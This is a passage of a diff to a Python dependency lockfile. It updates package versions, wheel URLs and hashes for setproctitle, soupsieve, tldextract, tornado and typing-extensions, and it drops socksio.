"https://files.pythonhosted.org/packages/7c/13/e74a4fa864a0a694104ff74fcb3bef523be94321bac1a8ece64ad04ef233/setproctitle-1.3.8-cp314-cp314-win_amd64.whl", hash = "sha256:5cff3bdbe6be556cc19bd072ff1ed9b5a8f4cbf356cd19b1ca94506b3e2b29f6", size = 13159, upload-time = "2026-10-01T21:08:14.231Z" }, + { url = "https://files.pythonhosted.org/packages/38/d8/019116e7defcd5d2c9264da4a82d369de6806a9161adf73e5f73e63fb715/setproctitle-1.3.8-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:84320e61f3906cc550b900ab1ba02ec53edd2d2e1e917f0873cba16592801c89", size = 18105, upload-time = "2026-10-01T21:07:38.655Z" }, + { url = "https://files.pythonhosted.org/packages/a7/f5/bfa9d6b5574903c17e02caba0e25815bb1c7e7b895d594475676baaa35b4/setproctitle-1.3.8-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8086259943fc75eb07e11c1d08600709b9ce4fb2ec9bbd2490556c47d3ead135", size = 13125, upload-time = "2026-10-01T21:07:40.774Z" }, + { url = "https://files.pythonhosted.org/packages/d3/29/c7febeedee66b929c335d7b8ce83b1c4baccc65c94a4112fd8c1ea32b57d/setproctitle-1.3.8-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8879d303d4e3559efdba033ff198c6869010f7958412ec2047674881859fdd7f", size = 34818, upload-time = "2026-10-01T21:07:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/36/b9/90fea18bcb74f19d411df7e9e2d981c4d3e99817870acb0b5cac6540629f/setproctitle-1.3.8-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7de4da27fa4481e8a7a4ef58c908ffd2b996847c3d7fbf27b5c53ce0984c408", size = 35622, upload-time = "2026-10-01T21:07:51.03Z" }, + { url = "https://files.pythonhosted.org/packages/8f/e9/5899eab6e0b4a127e98a268a157b6bdba4f8ad18d0ed90fdf3e081c20a3b/setproctitle-1.3.8-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:741b1ae7e1cd68745b8b677daba73685dab2d1b8bb12500e6537f3482a91150f", size = 37762, upload-time = "2026-10-01T21:07:53.758Z" }, + { url = "https://files.pythonhosted.org/packages/fd/cd/190748a1f68afe6154b62517d2288b7d4c2092b0efa6e61d044c0f99d17b/setproctitle-1.3.8-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c85ff5b000eef8a280333ca158483a76f86bd374816add5c016a9f4294471289", size = 33548, upload-time = "2026-10-01T21:07:56.148Z" }, + { url = "https://files.pythonhosted.org/packages/26/db/889062b0970f04bc76d8eed03165dc17de8df282399ad931cb10a23b33a3/setproctitle-1.3.8-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:656ffe282ec0ca18308eebb100898c79b4f5698a93228d50d2f2a4a09474d7e0", size = 34298, upload-time = "2026-10-01T21:07:58.898Z" }, + { url = "https://files.pythonhosted.org/packages/6d/bc/adedb2c18eb7bb152b6bc59187f46fc328e7bb729bf28a7e4e43521c4c7a/setproctitle-1.3.8-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:ae87e7b3e6414b3dd887adb72d2c4ea9f210c5f48efafd295ade4a58c760d29d", size = 35897, upload-time = "2026-10-01T21:08:01.561Z" }, + { url = "https://files.pythonhosted.org/packages/38/8e/f1769dcd1eb668b01ad251eb6780b030752d18dabc1b82789b255189772e/setproctitle-1.3.8-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:09cb645c6ae440286391e256203fc03522b3b0f55fda8219f698abb5c447cce7", size = 32435, upload-time = "2026-10-01T21:08:04.112Z" }, + { url = "https://files.pythonhosted.org/packages/79/e5/68be1eed21bba3ce27c6907ddcf0559cb99e4de3aa3ee000a38994371b73/setproctitle-1.3.8-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:84003eeaf2d7460390bbff1dbd7bee5b1213e7ae47a489f0fb7aad6acd2b045c", size = 34024, upload-time = "2026-10-01T21:08:06.514Z" }, + { url = "https://files.pythonhosted.org/packages/40/7e/f275783d6915fac997dbfa3729330552c4f2ddcd4f1bba7ff522f5f05c28/setproctitle-1.3.8-cp314-cp314t-win32.whl", hash = "sha256:ac4e037d276ce27069cad0083c4611b45232278bd2fbac33f06ef9438c171a1e", size = 12259, upload-time = "2026-10-01T21:08:08.432Z" }, + { url = "https://files.pythonhosted.org/packages/86/59/3347f13aa38c81d78f5c93bc55e4355c43550f47348e5de48c5080f3a1b2/setproctitle-1.3.8-cp314-cp314t-win_amd64.whl", hash = "sha256:c284642b229ba7b7b927fb044aba03694b880ab572db3f07a10adc786db1ff7b", size = 13163, upload-time = "2026-10-01T21:08:10.087Z" }, + { url = "https://files.pythonhosted.org/packages/92/e4/e9866831fd0cff677c67488059fab3786a843ff0bd86f4b3c44bea8dd763/setproctitle-1.3.8-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:63348d86ae60b071a898e4241b41da1346d8c36f1a60bf3b698ae5eb35b79865", size = 18107, upload-time = "2026-10-01T21:08:16.029Z" }, + { url = "https://files.pythonhosted.org/packages/ff/79/5c11a8c8cf3b91e54fdf4c93d1c79d99a491e04d77d34c80a90552fe6b46/setproctitle-1.3.8-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:59239b6e5007b1bec79ef444a390b3bcd59cbcb2686c9910da5a42f1e99f738c", size = 13132, upload-time = "2026-10-01T21:08:17.756Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6d/47dea0a33ec67a2813e40bd92deea74c3732fd598bd71b636a92897eaf17/setproctitle-1.3.8-cp315-cp315-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:38310d9cf94959e39d22fdc0154c66c8bdbadfa790c524b04cb36da6333c7507", size = 33509, upload-time = "2026-10-01T21:08:20.254Z" }, + { url = "https://files.pythonhosted.org/packages/f1/7c/5d6945012077e6c393d59432df42d281d213f508bcf6d83a1287ab2eb9ae/setproctitle-1.3.8-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a279b136ed97407209d2dc9c30d1e65405d1a4a06ab162cedd9c4159b51f8f20", size = 34405, upload-time = "2026-10-01T21:08:22.796Z" }, + { url = "https://files.pythonhosted.org/packages/9f/d9/543a4470bfd01529dc35f0014dc68c70665db8b790e3647b41d155203b87/setproctitle-1.3.8-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:26997a85aa70bb088e86f0b7899fb0c909be824d22fc025e87b0005afbe59261", size = 36167, upload-time = "2026-10-01T21:08:25.35Z" }, + { url = "https://files.pythonhosted.org/packages/44/c7/fc55041b162833c4bbbbfe78ed417bcab7b22f9fa72aff1722ff6af46fae/setproctitle-1.3.8-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:35fc5e10fcba6df25d676ef908b44a36c17e7f167738ed016561185e24f4d274", size = 32623, upload-time = "2026-10-01T21:08:27.778Z" }, + { url = "https://files.pythonhosted.org/packages/a5/e2/8c73c990c338b9ca5bf4fc6167ac864a80a53a10e71fd2755ba146f1fce6/setproctitle-1.3.8-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:f5df0503093ec8c3c7e1da53920e79c62ab653b51b136c4736caa252552a8732", size = 33510, upload-time = "2026-10-01T21:08:30.431Z" }, + { url = "https://files.pythonhosted.org/packages/cd/61/8e10270d3a7326dc4e8a1408c631e6ae912625b91f38adaf04794a19e07b/setproctitle-1.3.8-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:0a582308ba43afa7233d28243d9d1212e11c81d3c187a43929ec0cb70c4781c5", size = 34528, upload-time = "2026-10-01T21:08:37.161Z" }, + { url = "https://files.pythonhosted.org/packages/77/d4/00773ca8c876123348e65edfd9eec47464bbfa1a31067c6e1cd382356a0f/setproctitle-1.3.8-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:ce48dbf74e8ec618d74cbaffe1159a4c32a4428de598f0ccdb0782bae618a72a", size = 31681, upload-time = "2026-10-01T21:08:39.874Z" }, + { url = "https://files.pythonhosted.org/packages/d5/42/19c6b634cca492575f9d99868bc35134528fb390d683d6a0396f61df0b8d/setproctitle-1.3.8-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:dd3a8fcee7d8a23e44781144830dee97b53ca4e0380bdd2a0e05b13913ce5725", size = 32999, upload-time = "2026-10-01T21:08:42.36Z" }, + { url = "https://files.pythonhosted.org/packages/94/34/09f653f687e4a1a6f515642519cc65f0e6bcf34631386380924fc9785b44/setproctitle-1.3.8-cp315-cp315-win32.whl", hash = "sha256:50beee618377ce6fd35767a9327f2da594b36778eb10b503ee2dc9b7c801f433", size = 12251, upload-time = "2026-10-01T21:09:17.504Z" }, + { url = "https://files.pythonhosted.org/packages/89/69/ab9afe8c198594533ad5eed6dcea647e1743ac8196a6c6dea974724b72e6/setproctitle-1.3.8-cp315-cp315-win_amd64.whl", hash = "sha256:f5916010de8b6045d7c63d98bb3f7a1e13f8c9c1046e859f2fd8de79c4e2d865", size = 13161, upload-time = "2026-10-01T21:09:19.295Z" }, + { url = "https://files.pythonhosted.org/packages/78/90/da93e1ae012f2515473a45fb33f5ba2ddbbfcce1381c5e41005b31ab3230/setproctitle-1.3.8-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:e9f643bd97374aeb7e4274e5c361277bf1428e8e55246cee6823fa3525dc2c04", size = 18119, upload-time = "2026-10-01T21:08:44.296Z" }, + { url = "https://files.pythonhosted.org/packages/af/35/41b28fa8eb8f1bee9c5516b99262a5df413937bf186e9d50ec3ef812fc61/setproctitle-1.3.8-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:fbd9ceb8c091c125e5892757e4d16af06674dc96edd7b5bf1e627b1ae7650c66", size = 13140, upload-time = "2026-10-01T21:08:46.797Z" }, + { url = "https://files.pythonhosted.org/packages/0c/19/089c878e6b8a3a391ceb03e1653ad6f33f27a5f7e204cf4a54b6a053b83d/setproctitle-1.3.8-cp315-cp315t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:322b4643f98c824b17dbf2ddb07ea7a37def8cc9e18adee320befce4bdffa271", size = 35122, upload-time = "2026-10-01T21:08:49.921Z" }, + { url = "https://files.pythonhosted.org/packages/88/a7/f419b87fcb6202ef0a94f7cd6bdecb23c2d01f2f07b38f92d3f0c5dfb518/setproctitle-1.3.8-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e36ee7300584a53fd7ac5f3853323411bde1cf6c081921bd3754a73b4071245", size = 35944, upload-time = "2026-10-01T21:08:52.612Z" }, + { url = "https://files.pythonhosted.org/packages/1e/16/fb181112f3c09a8c8962bd110f538c8a9d287a0c6a8bfd5b4dc39d54e0df/setproctitle-1.3.8-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5c05aff52e6eb9c4d2ea86cf0d0a60b1487ed570263a1b13bb30d9f96aa8ba97", size = 37981, upload-time = "2026-10-01T21:08:55.136Z" }, + { url = "https://files.pythonhosted.org/packages/d8/8f/934846cf63b5ae2e9a88dcac6ddc3ec813e6b9e0919994684f7674155b8a/setproctitle-1.3.8-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:df807e7f036c19235320b6b5137291891d660f10ccb0b50dc46bc8385be18379", size = 34229, upload-time = "2026-10-01T21:08:57.703Z" }, + { url = "https://files.pythonhosted.org/packages/c9/04/c11f73d8aa0ebe5d63866130ad14ca3789a4dfb9fc617c3a612af9c177f9/setproctitle-1.3.8-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:bef8c5f8820c70e8761171409052056ffd247023b001a6254287a0694c3d8b1c", size = 34743, upload-time = "2026-10-01T21:09:04.088Z" }, + { url = "https://files.pythonhosted.org/packages/38/50/8c780488db26e8f51af91465bda6ee224522248dc5220b282791dacbbe5e/setproctitle-1.3.8-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:7855290194637a3c5a2e37c423efbf5813fde97a6b63ab99feade5e05d73dc6c", size = 36094, upload-time = "2026-10-01T21:09:06.67Z" }, + { url = "https://files.pythonhosted.org/packages/b1/e6/13d541653607b3b7232dc9f8baae05b24112ac9a3756c3653903c624c4a9/setproctitle-1.3.8-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:8c0a7753f5ddaf0ecd1fc8df3e2106611d4290f0508e643e723cb5000b7d6c2f", size = 33148, upload-time = "2026-10-01T21:09:09.064Z" }, + { url = "https://files.pythonhosted.org/packages/42/94/f3e16c3a7949fa28a777aa30830bf89098026e13669144b0ec1b147f17f4/setproctitle-1.3.8-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:97b35b15f81363a314baca76674c19027dce19eed1590abd51c2d285830efd50", size = 34488, upload-time = "2026-10-01T21:09:11.756Z" }, + { url = "https://files.pythonhosted.org/packages/4c/e7/9baa826fc44c6f607a39ad35d419da7f51dec2df31ef169e7a4a34e1cc75/setproctitle-1.3.8-cp315-cp315t-win32.whl", hash = "sha256:ecf44731e351c6100885120cecf53a0f43a1bb975a92480de1f9e022ab542bc1", size = 12260, upload-time = "2026-10-01T21:09:13.6Z" }, + { url = "https://files.pythonhosted.org/packages/71/fb/08f55fab7294d18a6b1bc6d13340706c998b4641bd5f99ed9c7a626fcbf0/setproctitle-1.3.8-cp315-cp315t-win_amd64.whl", hash = "sha256:61aac898128dade36438da9387fea570f00cd519ad5231d3b268913afc2fc329", size = 13170, upload-time = "2026-10-01T21:09:15.351Z" }, + { url = "https://files.pythonhosted.org/packages/1c/e1/61838733db1ee33c4d550e72e98891824b28f644a2fb9612f107e5bf819d/setproctitle-1.3.8-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:26da5ad9883d825b9d732fd1dcb99268a4ee545b1edd0aaa5c56f16009cccaf8", size = 12627, upload-time = "2026-10-01T21:09:21.435Z" }, + { url = "https://files.pythonhosted.org/packages/ce/cf/08599efcb67f437acc0b1b6510aa08f44873cbd416b526139c4eb38b2775/setproctitle-1.3.8-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:15aaec002066f6dd7d920c46d3bffc3e529cb4a9fac961f2dd878aad64b0e29e", size = 14324, upload-time = "2026-10-01T21:09:23.204Z" }, + { url = "https://files.pythonhosted.org/packages/ce/a1/971a49677f247a613a2229df65af01d5a27e8793adee5b818680e90c30a9/setproctitle-1.3.8-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:6a740a6de2675da29594612eca3c962ceefc063fb62f43fc5a8f84d547ce0d7a", size = 12982, upload-time = "2026-10-01T21:09:25.006Z" }, ] [[package]] @@ -3065,21 +2672,29 @@ wheels = [ ] [[package]] -name = "socksio" -version = "1.0.0" +name = "soupsieve" +version = "2.10" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f8/5c/48a7d9495be3d1c651198fd99dbb6ce190e2274d0f28b9051307bdec6b85/socksio-1.0.0.tar.gz", hash = "sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac", size = 19055, upload-time = "2020-04-17T15:50:34.664Z" } +resolution-markers = [ + "python_full_version < '3.11.5'", +] +sdist = { url = "https://files.pythonhosted.org/packages/71/c3/1b817965ac12dc002d7c9cd7dfffdd7d4fbf9b45763ef2ffe7b86ee94670/soupsieve-2.10.tar.gz", hash = "sha256:49e9380d7d2905463583bafe285e818c7366a9ed7b3aee221c1ac79c905d8bc0", size = 124337, upload-time = "2026-09-24T02:36:35.048Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/37/c3/6eeb6034408dac0fa653d126c9204ade96b819c936e136c5e8a6897eee9c/socksio-1.0.0-py3-none-any.whl", hash = "sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3", size = 12763, upload-time = "2020-04-17T15:50:31.878Z" }, + { url = "https://files.pythonhosted.org/packages/66/87/5ed59e1d0290564e2027ed066c52b059892c4637741337fc0967183c8d4d/soupsieve-2.10-py3-none-any.whl", hash = "sha256:8596eb8967d744174820280fa62b4542a2e955bfaccca73ed8a13c6eb8e9b502", size = 38019, upload-time = "2026-09-24T02:36:33.709Z" }, ] [[package]] name = "soupsieve" -version = "2.8.4" +version = "3.0.3" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/47/2c/0a5f6f8ee0d5589e48c7640213ed5175d52cf540a06725b628cc1a45d6ce/soupsieve-2.8.4.tar.gz", hash = "sha256:e121fd02e975c695e4e9e8774a5ee35d74714b59307868dcc5319ad2d9e3328e", size = 121110, upload-time = "2026-05-24T13:55:57.154Z" } +resolution-markers = [ + "python_full_version >= '3.13'", + "python_full_version == '3.12.*'", + "python_full_version >= '3.11.5' and python_full_version < '3.12'", +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/77/2dcfa996b01702ab8fd0763d84098f6a640d6162a328f1c04c2697579a1a/soupsieve-3.0.3.tar.gz", hash = "sha256:7dcf6022eed0399eb9934a75e020148f7a2024c37b7dfcd3cf2c5505d69c364e", size = 115923, upload-time = "2026-10-12T13:21:17.696Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5e/f5/0c41cb68dcae6b7de4fac4188a3a9589e21fb31df21ea3a2e888db95e6c9/soupsieve-2.8.4-py3-none-any.whl", hash = "sha256:e7e6b0769c8f51ed59acab6e994b00621096cfb1c640a7509295987388fbaf65", size = 37304, upload-time = "2026-05-24T13:55:55.406Z" }, + { url = "https://files.pythonhosted.org/packages/49/ca/f639c80449997b88aba7bc9705d25dd76cc0844f45f187862fd8f8bb18fa/soupsieve-3.0.3-py3-none-any.whl", hash = "sha256:fa30e3ba4809cb81ce1f3209f2fbe3e779fc445f0439bc147a0d7c4601743f21", size = 41705, upload-time = "2026-10-12T13:21:16.474Z" }, ] [[package]] @@ -3106,7 +2721,7 @@ wheels = [ [[package]] name = "tldextract" -version = "5.3.2" +version = "5.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "filelock" }, @@ -3114,9 +2729,9 @@ dependencies = [ { name = "requests" }, { name = "requests-file" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/01/a9/ed5d3be29bfaf90c00b7159d3884b311f3880b55833d1c7be764164dc288/tldextract-5.3.2.tar.gz", hash = "sha256:c017431bc0800f2d3d1b57cce36e06668f0930f60a6d8c4615d4e2b8da298fa9", size = 191971, upload-time = "2026-08-08T20:53:13.732Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/5d/45ece871390ccc985f821353543165bcf3784fa97d8484fd0ca5f2726612/tldextract-5.4.0.tar.gz", hash = "sha256:6c9223212c15c25c0da2bf7313893c14f175cb36b64a0c42da67a468e0c61ee3", size = 197271, upload-time = "2026-10-03T21:32:47.229Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/4a/3b/930310b274dfe3b9a4fe64ef8b24e5faf376c9a6f94bba6fc6e438058598/tldextract-5.3.2-py3-none-any.whl", hash = "sha256:6c90d2a259f5c89f4fcf01f97af15708416a59ffedddff006d67222ab30d0fb0", size = 106415, upload-time = "2026-08-08T20:53:12.675Z" }, + { url = "https://files.pythonhosted.org/packages/b8/e0/d5760e222a7e3f3aec7ef59f6dff952af27d09ec168bcca50751d9698151/tldextract-5.4.0-py3-none-any.whl", hash = "sha256:7f02aed30bd3b6ad5717192eb859a39b20aafc7caf3917d9cf6cb00a58efb34f", size = 107482, upload-time = "2026-10-03T21:32:45.842Z" }, ] [[package]] @@ -3175,19 +2790,19 @@ wheels = [ [[package]] name = "tornado" -version = "6.5.7" +version = "6.5.10" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/64/24/95ec527ad67b76d59299e5465b3935d05e4294b7e0290a3924b7487df30b/tornado-6.5.7.tar.gz", hash = "sha256:66c513a76cda70d53907bc27cf1447557699c2e95aa48ba27a442ff61c3ddfc2", size = 519252, upload-time = "2026-06-08T17:34:51.232Z" } +sdist = { url = "https://files.pythonhosted.org/packages/06/61/53d562a57b28c08eda40b258c0f975e360541943ad7c7bef897a40caafda/tornado-6.5.10.tar.gz", hash = "sha256:a6b1ccd08c04b4a06fb5aeb381be99de5ad1e5375c1785e31d78c880feb57687", size = 537910, upload-time = "2026-09-15T13:47:48.73Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/02/dc/c7043cab6fed8ae159fc1923ce829ada35c4dbd797d408a43858ffaf9639/tornado-6.5.7-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:148b2eb15c2c765a50796172c1e499649b35f30d2e3c3d3e15913cfa56bfb163", size = 448543, upload-time = "2026-06-08T17:34:38.052Z" }, - { url = "https://files.pythonhosted.org/packages/92/4f/090b1431e5a43df696feceffc268c5383cc079ecb5f08ce58f917109aafe/tornado-6.5.7-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9da38de27f1da3b78a966f0dae12b5a1ea9afe72ca805d84ff06508272ddf100", size = 446707, upload-time = "2026-06-08T17:34:39.594Z" }, - { url = "https://files.pythonhosted.org/packages/37/d8/ef374952fd5da67d4463122c2b8e5a96536ec10b4b339254c6dcde81d01c/tornado-6.5.7-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8d759e71906ee783f8867b93bf26a265743da4c1e2f4a018464c1ba019862972", size = 449774, upload-time = "2026-06-08T17:34:41.204Z" }, - { url = "https://files.pythonhosted.org/packages/35/37/d434c73f4c6e014b745b9b37085f34f40c022f007efff3d7fe65991899f3/tornado-6.5.7-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a46347a18f23fb92b396beebe0fb78f61dda0cc302445202c16203d8a18848b", size = 450745, upload-time = "2026-06-08T17:34:42.531Z" }, - { url = "https://files.pythonhosted.org/packages/b6/2b/56b9aff361d7f1ab728a805ec7d7ea835f8807afa9f5cc690ea0e630efb9/tornado-6.5.7-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7778b30bef919231265e91c69963ce0f49a1e9c07ac900bbe75b19ce2575ba92", size = 450578, upload-time = "2026-06-08T17:34:43.787Z" }, - { url = "https://files.pythonhosted.org/packages/02/30/a7444fb23aa76860a14198fab96ac79f1866b0a6e19e26c4381b0938e50f/tornado-6.5.7-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e726f0c75da7726eec023aa62751ff8878bd2737e34fbdd33b1ae5897d2200f5", size = 449985, upload-time = "2026-06-08T17:34:45.326Z" }, - { url = "https://files.pythonhosted.org/packages/5c/42/5f0e56c01e8d9d36f4e23f367b85ae6cae0c1ecddd5e6977d8388ad27488/tornado-6.5.7-cp39-abi3-win32.whl", hash = "sha256:f8de3bf12d3efdd0cbe7c8887868198f8a91415e3f29fcf258d9b8eb7b1d9ae4", size = 451047, upload-time = "2026-06-08T17:34:46.784Z" }, - { url = "https://files.pythonhosted.org/packages/c9/a4/b393076ffb21b469eec5b328a0534cf03a3b90bfc6b1f09507cdd075d938/tornado-6.5.7-cp39-abi3-win_amd64.whl", hash = "sha256:de942f843533a039ef9fa3d9c88c7cd8a7c94553fb5ad0154270989b3d99a2c4", size = 451485, upload-time = "2026-06-08T17:34:48.248Z" }, - { url = "https://files.pythonhosted.org/packages/71/2e/7b1c769803121b809112cf9a00681c472eae1d80e32d7ec0e0bd61d0d0e1/tornado-6.5.7-cp39-abi3-win_arm64.whl", hash = "sha256:ff934fce95643af5f11efdae618eaa73d469dc588641e5c8d19295a0c65c4796", size = 450506, upload-time = "2026-06-08T17:34:49.702Z" }, + { url = "https://files.pythonhosted.org/packages/cd/5b/ff5fc58fa2427c30dea74c90053f4fc5eda1e7f3833ed3ecc7147fe2b311/tornado-6.5.10-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:9261783640e23258694a9ff0795df430a5a7b0a651d3dd53dd0969ad6be16da7", size = 465883, upload-time = "2026-09-15T13:47:35.463Z" }, + { url = "https://files.pythonhosted.org/packages/ad/f5/cd7be26c34a3315532f3aef5f092465da8f59c334dd439d3c14aaef16461/tornado-6.5.10-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:83e6cf438b106c6b3852d70960967bb1b70c87438050dca0981e4b9aa751a4c1", size = 464046, upload-time = "2026-09-15T13:47:37.178Z" }, + { url = "https://files.pythonhosted.org/packages/60/33/df6d7d04854a58619f8349a51e3edb138324130a7562b0bb21f115bb940f/tornado-6.5.10-cp39-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:bdf942448169e5336451d0494d7e3d81cfa726d5aa312affdc4682dd62a62f6d", size = 467096, upload-time = "2026-09-15T13:47:38.559Z" }, + { url = "https://files.pythonhosted.org/packages/29/17/cc35dff68272d685cffd8600ffafbd8067e7d05e7348d9f80caddffbbd5f/tornado-6.5.10-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69acca6501eed74582b76dbbceee2a91613f54728e3e418346000d7103101676", size = 468067, upload-time = "2026-09-15T13:47:40.085Z" }, + { url = "https://files.pythonhosted.org/packages/c3/01/6e5349b4e1a53a4b4972a6716785e1fe7407f312063c3972690af8ff301b/tornado-6.5.10-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:66aaa3f57d30c6e6becee83ff28055d5930ac724214bde99393eefda83d5e015", size = 467901, upload-time = "2026-09-15T13:47:41.576Z" }, + { url = "https://files.pythonhosted.org/packages/28/5e/b4facf94370dba006819c8d304376f8b9fbec6b935b5e51bf45823a9790b/tornado-6.5.10-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:4bd192b959f9128fb99b8898148070ba4574c9589b78bce42d1851131fe85828", size = 467308, upload-time = "2026-09-15T13:47:43.145Z" }, + { url = "https://files.pythonhosted.org/packages/56/ae/047938e828cafc8eca4c908fafb6588fee944e3af39a0af9d7b602499ae5/tornado-6.5.10-cp39-abi3-win32.whl", hash = "sha256:302eb1e0e3e159314eb591920529fdea80acca92df5510a2cec5bbd4f099ec72", size = 468387, upload-time = "2026-09-15T13:47:44.556Z" }, + { url = "https://files.pythonhosted.org/packages/d8/d4/5901517f05affd752490f6a654ba31b7474664e8dd80bd045a00c220bd88/tornado-6.5.10-cp39-abi3-win_amd64.whl", hash = "sha256:37ae8f150cecfdbf747fc4e12f5e9a97ecd8cf1d4cdb3f119e2de84b11196918", size = 468828, upload-time = "2026-09-15T13:47:45.961Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1a/fd497f3a7f7b74bb04f4b94536b5c9f80742b5d50501fd27977652ddec16/tornado-6.5.10-cp39-abi3-win_arm64.whl", hash = "sha256:ce045d3c298fddd30e89a2777f97039d1b641eb9518ac7b26a4721903539c694", size = 467847, upload-time = "2026-09-15T13:47:47.283Z" }, ] [[package]] @@ -3207,23 +2822,23 @@ wheels = [ [[package]] name = "typing-extensions" -version = "4.15.0" +version = "4.16.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, ] [[package]] name = "typing-inspection" -version = "0.4.2" +version = "0.4.4" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/26/b09b8010994eccc3c09092e6b34058f36a460eea2d4c3e8b910c695975a0/typing_inspection-0.4.4.tar.gz", hash = 